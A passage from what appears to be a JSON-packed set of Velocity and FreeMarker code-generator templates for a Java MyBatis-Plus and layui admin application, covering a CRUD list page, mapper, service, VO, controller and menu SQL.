</div>\n</div>\n</form>\n</div>\n</div>\n<!-- 新增修改的DIV页面-end -->\n\n<!-- 查询列表的DIV页面-start -->\n<div class=\"layuimini-container\">\n<div class=\"layuimini-main\">\n<div class=\"table_div\">\n   <blockquote class=\"layui-elem-quote layui-text\">\n      在此你可以对<span class=\"label-info\"><strong>${comments}</strong></span>进行编辑!若有操作及使用问题及常见“问题”：请查看<a href=\"#\">操作手册</a>！\n   </blockquote>\n  <div id=\"searchParam\"  shiro:hasPermission=\"${classname}:list\">\n    <div class=\"layui-form-item\">\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n      <div class=\"layui-input-inline\">\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" placeholder=\"yyyy-MM-dd\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n#else\n      <div class=\"layui-input-inline\">\n    <input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入${column.comments}\">\n      </div>\n#end\n#end\n#end\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n  </div>\n  <!-- 渲染列表，上面的是工具栏 -->\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n</div>\n</div>\n<!-- 查询列表的DIV页面-end -->\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"${classname}:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm  layui-btn-danger \" lay-event=\"batchDeleted\" shiro:hasPermission=\"${classname}:delete\">删除</button>\n    <!-- \n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"submit\" shiro:hasPermission=\"${classname}:delete\">提交</button>\n     -->\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  {{#  if(d.orderState == 0){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner != 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner == 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  }else { }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"pjProject:delete\">删除</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  } }}\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/layui-ext/tableSelect.js\"></script>\n<script src=\"/lib/lay-module/xmSelect/xm-select.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script src=\"/js/jquery.js\"></script>\n<!-- 流程flow-mark001,新增流程查看表单详情功能 -->\n<script th:inline=\"javascript\">\n    var pkCode = [[${pkCode}]];\n    var flagType = [[${flagType}]];\n    var id = [[${id}]];\n//     console.log(flagType);\n//     console.log(id);\n    if(\"view\"==flagType){\n\t     $(\".table_div\").hide();\n\t     $(\".operation\").show();\n\t     $(\"#buttonSave\").hide();\n\t     var layer = layui.layer;\n\t     var $ = jQuery = layui.jquery;\n\t     var form = layui.form;\n\t     var element = layui.element;\n\t     $(function () {\n\t         CoreUtil.sendPost(\"/${classname}/findOne\", {id : id}, function (res) {\n\t             if (res.data != null) {\n\t            \t form.val(\"info\", res.data );\n\t                 form.render(); //更新全部\n\t             }\n\t         });\n\t     });\n    }\n</script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token==null?\"\":token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var layedit = layui.layedit;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n  var numberInput = layui.numberInput;\n  var tableSelect = layui.tableSelect;\n  var layerAdd;\n  //定义lay全局对象\n\n  layui.config({\n        base: '/layui-ext/'\n    }).extend({\n        treetable: 'treetable-lay/treetable',\n        iconPicker: 'icon/iconPicker',\n        numberInput: 'numberInput/js/index'\n    }).use(['numberInput','table', 'layer', 'laydate' ,'form', 'layedit'], function () {\n\tnumberInput = layui.numberInput;\n\t\n    //加载table,数据表格\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/${classname}/listByPage' //数据接口\n      , method: 'POST'\n      ,size: 'sm' //小尺寸的表格\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t        return {\n\t          \"code\": res.code, //解析接口状态\n\t          \"msg\": res.msg, //解析提示文本\n\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'}, //{type:'radio'}  \n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n          {field: '${column.attrname}', title: '${column.comments}', sort: true ##\n#if($column.columnName == $pk.columnName || $column.isNull != 'NO') \n,hide: true ##\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n, templet: function (item) { ##\n\t            //获取类型对应的字典label\n\t            var datas = \"[[${@sysDictService.getType('${column.columnName}')}]]\".replace(/&quot;/g,\"\\\"\");\n\t            if(item.${column.attrname}%2==0){\n\t\t            return '<span class=\"layui-btn layui-btn-normal layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}else{\n\t\t            return '<span class=\"layui-btn layui-btn-warm layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}\n\t            // return CoreUtil.selectDictLabel(datas, item.${column.attrname});\n            }\n#end \n\t\t  }, \n#end\n\t\t\t//   流程新增字段   beggin    flow_test1  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n          { title: '流程状态', field: 'orderState', align: 'center',width:90, templet: function (d) {\n                  if (d.orderState == 0) {\n                      return '<span style=\"color: #eb7350;\">审批完成</span>'\n                  }else if (d.orderState == 1) {\n\t                  return '<span style=\"color: #00b487;\">审批中</span>'\n                  }else{\n\t                  return '<span style=\"color: blue;\">草稿</span>'\n                  }\n              }\n          },\n          { title: '当前节点', field: 'taskName', align: 'center' ,width:105},\n          { title: '当前处理人', field: 'taskOperatorName', align: 'center' ,width:90},{field: 'isOwner', title: 'isOwner',hide:true },\n          //   流程新增字段   end  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n         {field: 'isOwner',hide: true  }, {width: 180, toolbar: \"#tool\", title: '操作', fixed: 'right'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n    \tvar checkStatus11 = table.checkStatus(obj.config.id);\n        var data11 = checkStatus11.data;\n        if(data11.length==0){\n          \tlayer.msg(\"请选择要操作的数据列！\");\n        }else {\n\t          var ids11 = [];\n\t          $(data11).each(function (index,item) {\n\t        \t  if(item.orderState==0 || item.orderState==1){\n\t        \t\t  ids11.push(item.orderState);\n\t        \t  }\n\t          });\n\t          if(ids11.length>0){\n\t        \t  layer.msg(\"请选择未发起流程中的数据(禁止操作流程中的数据)！\");\n        \t\t  return;\n\t          }\n        }\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        //<!-- 流程flow-mark001,新增流程提交方案的submit的function -->\n        case 'submit':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要提交的记录\");\n          }else if(data.length > 1){\n            layer.msg(\"请选择要提交的记录（one row each times）\");\n          }else {\n//         \t  window.checkPromission(data[0].createId);\n        \t  data[0]['processName'] = \"submit\";\n        \t  //<!-- 流程flow-mark001,新增流程,指定流程的类型 -->\n        \t  CoreUtil.setData(\"data_doSubmit\",data[0]);\n        \t  console.log(\"data=\"+data);\n              layer.open({\n                  type: 2,\n                  skin: 'layui-layer-admin',\n                  title: \"提交流程\",\n                  shadeClose : false,\n                  area: ['880px', '500px'], //宽高\n                  shade: 0.6, //遮罩透明度\n                  maxmin: true, //允许全屏最小化\n                  anim: 1, //0-6的动画形式，-1不开启\n                  content:  '/table/doSubmit.html',\n                  end: function(){\n                \t  search();\n                  }\n              });\n          }\n          break;\n        case 'add':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"新增\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end \n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(\"\");\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(\"\");\n#else\n          $(\".operation input[name=${column.attrname}]\").val(\"\");\n#end\n#end\n\t\t  layerAdd = layer.open({\n              type: 1,\n              skin: 'layui-layer-admin',\n              area: ['80%', '80%'],\n              shift: 1,\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['新增${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"编辑\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(data.${column.attrname});\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(data.${column.attrname});\n#else\n          $(\".operation input[name=${column.attrname}]\").val(data.${column.attrname});\n#end\n#end\n\t\t  form.render();\n\t\t  layerAdd = layer.open({\n              type: 1,\n              area: ['80%', '80%'],\n              shift: 2,\n              skin: 'layui-layer-admin',\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['修改${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n        case 'file':\n          data['dictBiztype']='${comments}';\n          CoreUtil.setData(\"biz_rowdata\",data);\n          var index = layer.open({\n              title: '上传附件',\n              type: 2,\n              skin: 'layui-layer-admin',\n              shade: 0.2,\n              maxmin:true,\n              shadeClose: true,\n              scrollbar: true,\n              area: ['80%', '80%'],\n              content: '/index/sysFilesByUser',\n          });\n          $(window).on(\"resize\", function () {\n              layer.full(index);\n          });\n          return false;\n      }\n    });\n    \n    \n//遍历列，并渲染各种表单组件\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n \t//日期+时间\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'datetime'\n    });\n##elseif($column.columnName.toString().contains(\"dict\"))\n\n#elseif($column.dataType == 'date' )\n\t \t//日期\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'date'\n    });\n#elseif($column.dataType == 'decimal' )\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 2\n\t});\n#elseif($column.dataType == 'int')\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 0\n\t});\n#end\n#if($column.columnName.toString().contains(\"ref_\"))\n\ttableSelect.render({\n\t\telem: '#${column.attrname}',\n\t\tcheckedKey: 'id',\n\t\ttable: {\n\t\t\turl: '/${classname}/listBySelect?authorization='+tokenQuery,\n\t\t\tmethod: 'POST',\n\t\t\tcontentType: 'application/json',\n\t\t\t parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t\t        return {\n\t\t          \"code\": res.code, //解析接口状态\n\t\t          \"msg\": res.msg, //解析提示文本\n\t\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t\t        }\n\t\t      },\n\t\t\tcols: [ [\n\t\t\t\t\t{ type: 'radio' },\n\t\t\t\t\t{ field: 'id', title: 'ID' ,hide:true},\n\t\t\t\t\t{ field: 'XXXcusname', title: '标题' },\n\t\t\t\t\t{ field: 'XXXfullname', title: '名称' }\n\t\t\t\t] ]\n\t\t},\n\t\tdone: function (elem, data) {\n\t\t\tvar NEWJSON = []\n\t\t\tlayui.each(data.data, function (index, item) {\n\t\t\t\tNEWJSON.push(item.XXXcusname);\n\t\t\t\t$(\"#refId\").val(item.XXXid);\n\t\t\t\tconsole.log('info');  \n\t\t\t})\n\t\t\telem.val(NEWJSON.join(\",\"))\n\t\t}\n\t});\n#end\n#end\n#end\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/${classname}/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n          skin: 'layui-layer-admin',\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/${classname}/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n    \tlayer.close(layerAdd);\n//       $(\".table_div\").show();\n//       $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      \n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/${classname}/add\",data.field,function (res) {\n          if(res.code == \"0\"){\n\t          //$(\".table_div\").show();\n\t          //$(\".operation\").hide();\n\t          layer.close(layerAdd);\n\t          search();\n        \t}else{\n        \t\tlayer.msg(res.msg);\n        \t}\n        });\n      }else {\n        CoreUtil.sendPut(\"/${classname}/update\",data.field,function (res) {\n          //$(\".table_div\").show();\n          //$(\".operation\").hide();\n          layer.close(layerAdd);\n          search();\n        });\n      }\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        '1':'1'\n        //,key: $(\"#key\").val()\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n\t\t,${column.attrname}: $(\"#${column.attrname}Condition\").val()\n#end\n#end\n      }\n      ,page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n  \n  //根据数据库字段长度及是否必填属性生成校验表单字段长度\n  //lay-verify=\"required|account\" lay-min=\"6\" \n  // https://blog.csdn.net/m0_48373030/article/details/108783184\n    form.verify({\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n${column.attrname}: function(value, item){\n            var max = item.getAttribute('lay-max');\n            if(value.length > max){\n                return '${column.comments}不能大于'+max+'个字符的长度！';\n            }\n        } #if($columns.size() != ${velocityCount}) ,  #end\n#end\n#end\n    });\n</script>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/mapper.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}Entity> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}Entity> pageAll(${classInfo.className}Entity dto,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className}Entity dto);\n    \n    @Select(\"SELECT count(1) from ${classInfo.tableName} \")\n    int countAll();\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/menu.sql.ftl",
    "content": "-- 菜单SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nVALUES ('1', '${classInfo.classComment}', 'generator/${classInfo.className?uncap_first}', NULL, '1', 'config', '6');\n\n-- 按钮父菜单ID\nset @parentId = @@identity;\n\n-- 菜单对应按钮SQL\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '查看', null, 'generator:${classInfo.className?uncap_first}:list,generator:${classInfo.className?uncap_first}:info', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '新增', null, 'generator:${classInfo.className?uncap_first}:save', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '修改', null, 'generator:${classInfo.className?uncap_first}:update', '2', null, '6';\nINSERT INTO `sys_menu` (`parent_id`, `name`, `url`, `perms`, `type`, `icon`, `order_num`)\nSELECT @parentId, '删除', null, 'generator:${classInfo.className?uncap_first}:delete', '2', null, '6';\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/service.impl.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service.impl;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.service.${classInfo.className}Service;\n\n</#if>\n/**\n * @description ${classInfo.classComment}服务层实现\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl extends ServiceImpl<${classInfo.className}Mapper, ${classInfo.className}Entity> implements ${classInfo.className}Service {\n\n\t@Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/service.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}Entity> {\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/vo.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.vo;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.swagger.annotations.ApiModelProperty;\nimport lombok.Data;\nimport javax.validation.constraints.NotNull;\nimport javax.validation.constraints.Size;\nimport java.io.Serializable;\nimport com.jun.plugin.common.entity.BaseEntity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className}Vo  extends BaseEntity  implements Serializable {\n\n    public interface Retrieve{}\n    public interface Delete {}\n    public interface Update {}\n    public interface Create {}\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if> \n    <#if fieldItem.nullable==true>@NotNull(message = \"${fieldItem.fieldComment}不能为空\", groups = {Create.class,Update.class,Delete.class})</#if>\n    <#if fieldItem.nullable==true>@Size( max = ${fieldItem.columnSize?c},message = \"${fieldItem.fieldComment}长度限制${fieldItem.columnSize?c}位\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}Vo() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-v2/plus-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.vo.${classInfo.className}VO;\nimport ${packageName}.dto.${classInfo.className}DTO;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.bjc.lcp.system.common.utils.DataResult;\nimport org.springframework.web.servlet.ModelAndView;\nimport javax.annotation.Resource;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    //@Autowired\n    //private CntService cntService;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public DataResult add(@Validated(${classInfo.className}VO.Create.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return DataResult.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return DataResult.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public DataResult delete(@Validated(${classInfo.className}VO.Delete.class) @RequestBody ${classInfo.className}VO vo) {\n    \t${classInfo.className}DTO dto = new ${classInfo.className}DTO();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return DataResult.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return DataResult.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    @RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public DataResult delete(@RequestBody @ApiParam(value = 